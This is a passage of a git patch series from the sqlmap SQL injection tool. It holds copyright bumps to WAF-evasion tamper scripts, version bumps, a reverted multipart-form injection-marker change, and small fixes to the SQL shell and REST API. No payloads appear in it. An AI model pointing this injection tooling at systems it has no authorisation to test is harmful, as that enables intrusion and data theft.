-1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/overlongutf8more.py b/tamper/overlongutf8more.py index 343312e0bc6..e7137456d7f 100644 --- a/tamper/overlongutf8more.py +++ b/tamper/overlongutf8more.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/percentage.py b/tamper/percentage.py index e65dc957373..9d62e60d2df 100644 --- a/tamper/percentage.py +++ b/tamper/percentage.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py index b7f862aa9e8..3b910f86ddb 100644 --- a/tamper/plus2concat.py +++ b/tamper/plus2concat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py index 39cd9ed2501..ab1005a8a08 100644 --- a/tamper/plus2fnconcat.py +++ b/tamper/plus2fnconcat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/randomcase.py b/tamper/randomcase.py index b2737445e5d..8cb02a89a96 100644 --- a/tamper/randomcase.py +++ b/tamper/randomcase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py index a6d378f2113..edf4cba4ff2 100644 --- a/tamper/randomcomments.py +++ b/tamper/randomcomments.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/schemasplit.py b/tamper/schemasplit.py index c05b45ad0c4..07ad37dfc0f 100644 --- a/tamper/schemasplit.py +++ b/tamper/schemasplit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/scientific.py b/tamper/scientific.py index 95f40158153..9b0ecf7760f 100644 --- a/tamper/scientific.py +++ b/tamper/scientific.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/sleep2getlock.py b/tamper/sleep2getlock.py index 5fb1cd01a49..f0b3a54f0c5 100644 --- a/tamper/sleep2getlock.py +++ b/tamper/sleep2getlock.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/sp_password.py b/tamper/sp_password.py index a693712c64b..d23c0d52900 100644 --- a/tamper/sp_password.py +++ b/tamper/sp_password.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2comment.py b/tamper/space2comment.py index 59689836a0f..3229a5cd3d5 100644 --- a/tamper/space2comment.py +++ b/tamper/space2comment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2dash.py b/tamper/space2dash.py index b23000831fa..5ecb814c119 100644 --- a/tamper/space2dash.py +++ b/tamper/space2dash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2hash.py b/tamper/space2hash.py index 9cc18554679..2cef84d8a5f 100644 --- a/tamper/space2hash.py +++ b/tamper/space2hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py index bd29e1d6f88..c5d7ec47b08 100644 --- a/tamper/space2morecomment.py +++ b/tamper/space2morecomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py index 77ff792c9fa..091bb9b396f 100644 --- a/tamper/space2morehash.py +++ b/tamper/space2morehash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index 01a3f6b93da..5f055c8cc01 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index abe95af15f5..67e31e6c205 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index 32e18e7e582..399370c5d25 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index 2c54f9a6a82..7b6477646d1 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2plus.py b/tamper/space2plus.py index d46f4106454..45110ae4f40 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index 880fcc08e68..2a2cc4d7a1c 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/substring2leftright.py b/tamper/substring2leftright.py index 773ae330078..642e499ba87 100644 --- a/tamper/substring2leftright.py +++ b/tamper/substring2leftright.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py index 80258af5b94..f33e09cc22c 100644 --- a/tamper/symboliclogical.py +++ b/tamper/symboliclogical.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index 2b286553dba..1c1ae215707 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index b8e04f8d6b0..89e9b969627 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/uppercase.py b/tamper/uppercase.py index c2a03025c6f..ad27404b3d6 100644 --- a/tamper/uppercase.py +++ b/tamper/uppercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/varnish.py b/tamper/varnish.py index 09cb37f7b2b..0e0add6a3ce 100644 --- a/tamper/varnish.py +++ b/tamper/varnish.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index cfd116e16f6..6914ade2e87 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index 1e2de36bde0..fe3480e43e2 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py index 79edb8b01fd..b1d28928ecd 100644 --- a/tamper/xforwardedfor.py +++ b/tamper/xforwardedfor.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ From 585a13d89bd75562981fd3c1d8573de2f5dc289b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Jan 2024 23:14:31 +0100 Subject: [PATCH 027/853] Version bump --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c500abb6fb9..84ba02985da 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.1.0" +VERSION = "1.8.1.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f94ab0f650fbaee68e928a9801648f9881a1ae80 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Jan 2024 23:18:35 +0100 Subject: [PATCH 028/853] Version update --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 84ba02985da..3241a120f8f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.1.0" +VERSION = "1.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d38d734e6ddc98df0c4c58b576208b6dcd22981c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Jan 2024 23:22:44 +0100 Subject: [PATCH 029/853] First year's dev commit --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3241a120f8f..cd6ea2837cc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8" +VERSION = "1.8.1.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 93a8828dab153a52684d424e88e3c738a3ac2b74 Mon Sep 17 00:00:00 2001 From: Rohit Kumar Ankam <70012972+rohitkumarankam@users.noreply.github.com> Date: Tue, 9 Jan 2024 13:59:20 +0530 Subject: [PATCH 030/853] Improved Multipart Form handling (#5598) * improved multipart marker * Improved file field handling in Multipart forms * improved dumb LF to CRLF converter --- lib/core/target.py | 2 +- thirdparty/multipart/multipartpost.py | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/target.py b/lib/core/target.py index f46fe202210..67fbf2f2659 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -226,7 +226,7 @@ def process(match, repl): if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) - conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data) + conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P[^\"'\r\n]+)[\"']?).+?)((%s)--)" % ("\r\n" if "\r\n" in conf.data else '\n'), lambda match: match.group(1) + (kb.customInjectionMark if 'filename' not in match.group(0) else '') + match.group(4), conf.data) if not kb.postHint: if kb.customInjectionMark in conf.data: # later processed diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py index 5ea37ccf7ca..b139c172e20 100644 --- a/thirdparty/multipart/multipartpost.py +++ b/thirdparty/multipart/multipartpost.py @@ -74,6 +74,10 @@ def http_request(self, request): part = match.group(0) if b'\r' not in part: request.data = request.data.replace(part, part.replace(b'\n', b"\r\n")) + for match in re.finditer(b"(Content-Type[^\\n]+[\\n|\\r|\\r\\n]+)",request.data): + part = match.group(0) + if b'\r' not in part: + request.data = request.data.replace(part, part.replace(b'\n', b"\r\n")) return request From d42187ac472003582af4d4dcbd3d49520f822443 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 9 Jan 2024 09:36:49 +0100 Subject: [PATCH 031/853] Revert "Improved Multipart Form handling (#5598)" (#5599) This reverts commit 93a8828dab153a52684d424e88e3c738a3ac2b74. --- lib/core/target.py | 2 +- thirdparty/multipart/multipartpost.py | 4 ---- 2 files changed, 1 insertion(+), 5 deletions(-) diff --git a/lib/core/target.py b/lib/core/target.py index 67fbf2f2659..f46fe202210 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -226,7 +226,7 @@ def process(match, repl): if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) - conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P[^\"'\r\n]+)[\"']?).+?)((%s)--)" % ("\r\n" if "\r\n" in conf.data else '\n'), lambda match: match.group(1) + (kb.customInjectionMark if 'filename' not in match.group(0) else '') + match.group(4), conf.data) + conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data) if not kb.postHint: if kb.customInjectionMark in conf.data: # later processed diff --git a/thirdparty/multipart/multipartpost.py b/thirdparty/multipart/multipartpost.py index b139c172e20..5ea37ccf7ca 100644 --- a/thirdparty/multipart/multipartpost.py +++ b/thirdparty/multipart/multipartpost.py @@ -74,10 +74,6 @@ def http_request(self, request): part = match.group(0) if b'\r' not in part: request.data = request.data.replace(part, part.replace(b'\n', b"\r\n")) - for match in re.finditer(b"(Content-Type[^\\n]+[\\n|\\r|\\r\\n]+)",request.data): - part = match.group(0) - if b'\r' not in part: - request.data = request.data.replace(part, part.replace(b'\n', b"\r\n")) return request From 27c4e8d29af1dbe65e6b4c8ca7f46404a3e947bf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 9 Jan 2024 11:05:26 +0100 Subject: [PATCH 032/853] Patch related to empty multiform-data field value (#5598) --- lib/core/settings.py | 2 +- lib/core/target.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index cd6ea2837cc..aeacd2071aa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.1.1" +VERSION = "1.8.1.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index f46fe202210..52f8fc9a79b 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -226,7 +226,7 @@ def process(match, repl): if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) - conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data) + conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P[^\"'\r\n]+)[\"']?).+?)((%s)--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data) if not kb.postHint: if kb.customInjectionMark in conf.data: # later processed From bfe03ef95a1c3f4a91b57445255e16bb6410bc3f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 10 Jan 2024 17:48:14 +0100 Subject: [PATCH 033/853] Fixes #5601 --- lib/core/settings.py | 2 +- plugins/generic/custom.py | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index aeacd2071aa..baaa8f0a882 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.1.2" +VERSION = "1.8.1.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index a4b11f68613..dbfd589dcf8 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -98,6 +98,10 @@ def sqlShell(self): query = _input("sql-shell> ") query = getUnicode(query, encoding=sys.stdin.encoding) query = query.strip("; ") + except UnicodeDecodeError: + print() + errMsg = "invalid user input" + logger.error(errMsg) except KeyboardInterrupt: print() errMsg = "user aborted" From 1ce9c8ab948eb3182fb29d8e89060e2eca7c5e17 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 11 Jan 2024 16:11:40 +0100 Subject: [PATCH 034/853] Implementing #5506 --- lib/core/settings.py | 2 +- lib/utils/api.py | 9 ++++++--- sqlmapapi.py | 3 ++- 3 files changed, 9 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index baaa8f0a882..531070517a5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.1.3" +VERSION = "1.8.1.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index b4d027f9dfd..b1cf9a7ea09 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -680,7 +680,7 @@ def version(token=None): logger.debug("Fetched version (%s)" % ("admin" if is_admin(token) else request.remote_addr)) return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1]}) -def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None): +def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None, database=None): """ REST-JSON API server """ @@ -689,8 +689,11 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST DataStore.username = username DataStore.password = password - _, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False) - os.close(_) + if not database: + _, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False) + os.close(_) + else: + Database.filepath = database if port == 0: # random with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s: diff --git a/sqlmapapi.py b/sqlmapapi.py index ec97b7d4b2b..c14de5ab0c8 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -58,13 +58,14 @@ def main(): apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS, action="store") apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type="int", action="store") apiparser.add_option("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER, action="store") + apiparser.add_option("--database", help="Set IPC database filepath (optional)") apiparser.add_option("--username", help="Basic authentication username (optional)", action="store") apiparser.add_option("--password", help="Basic authentication password (optional)", action="store") (args, _) = apiparser.parse_args() # Start the client or the server if args.server: - server(args.host, args.port, adapter=args.adapter, username=args.username, password=args.password) + server(args.host, args.port, adapter=args.adapter, username=args.username, password=args.password, database=args.database) elif args.client: client(args.host, args.port, username=args.username, password=args.password) else: From 162bafa77d40ddc270c45d1ba31fc3730fe62fce Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 14 Jan 2024 22:57:30 +0100 Subject: [PATCH 035/853] Fixes #5590 --- lib/core/settings.py | 2 +- sqlmapapi.py | 65 ++++++++++++++++++++++++++++++++++++-------- 2 files changed, 55 insertions(+), 12 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 531070517a5..8cdc848cea2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.1.4" +VERSION = "1.8.1.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmapapi.py b/sqlmapapi.py index c14de5ab0c8..7eb435dc583 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -12,13 +12,55 @@ __import__("lib.utils.versioncheck") # this has to be the first non-standard import import logging -import optparse import os import warnings warnings.filterwarnings(action="ignore", category=UserWarning) warnings.filterwarnings(action="ignore", category=DeprecationWarning) +try: + from optparse import OptionGroup + from optparse import OptionParser as ArgumentParser + + ArgumentParser.add_argument = ArgumentParser.add_option + + def _add_argument(self, *args, **kwargs): + return self.add_option(*args, **kwargs) + + OptionGroup.add_argument = _add_argument + +except ImportError: + from argparse import ArgumentParser + +finally: + def get_actions(instance): + for attr in ("option_list", "_group_actions", "_actions"): + if hasattr(instance, attr): + return getattr(instance, attr) + + def get_groups(parser): + return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups") + + def get_all_options(parser): + retVal = set() + + for option in get_actions(parser): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + for group in get_groups(parser): + for option in get_actions(group): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + return retVal + from lib.core.common import getUnicode from lib.core.common import setPaths from lib.core.data import logger @@ -52,16 +94,17 @@ def main(): setPaths(modulePath()) # Parse command line options - apiparser = optparse.OptionParser() - apiparser.add_option("-s", "--server", help="Run as a REST-JSON API server", action="store_true") - apiparser.add_option("-c", "--client", help="Run as a REST-JSON API client", action="store_true") - apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS, action="store") - apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type="int", action="store") - apiparser.add_option("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER, action="store") - apiparser.add_option("--database", help="Set IPC database filepath (optional)") - apiparser.add_option("--username", help="Basic authentication username (optional)", action="store") - apiparser.add_option("--password", help="Basic authentication password (optional)", action="store") - (args, _) = apiparser.parse_args() + apiparser = ArgumentParser() + apiparser.add_argument("-s", "--server", help="Run as a REST-JSON API server", action="store_true") + apiparser.add_argument("-c", "--client", help="Run as a REST-JSON API client", action="store_true") + apiparser.add_argument("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS) + apiparser.add_argument("-p", "--port", help="Port of the the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type=int) + apiparser.add_argument("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER) + apiparser.add_argument("--database", help="Set IPC database filepath (optional)") + 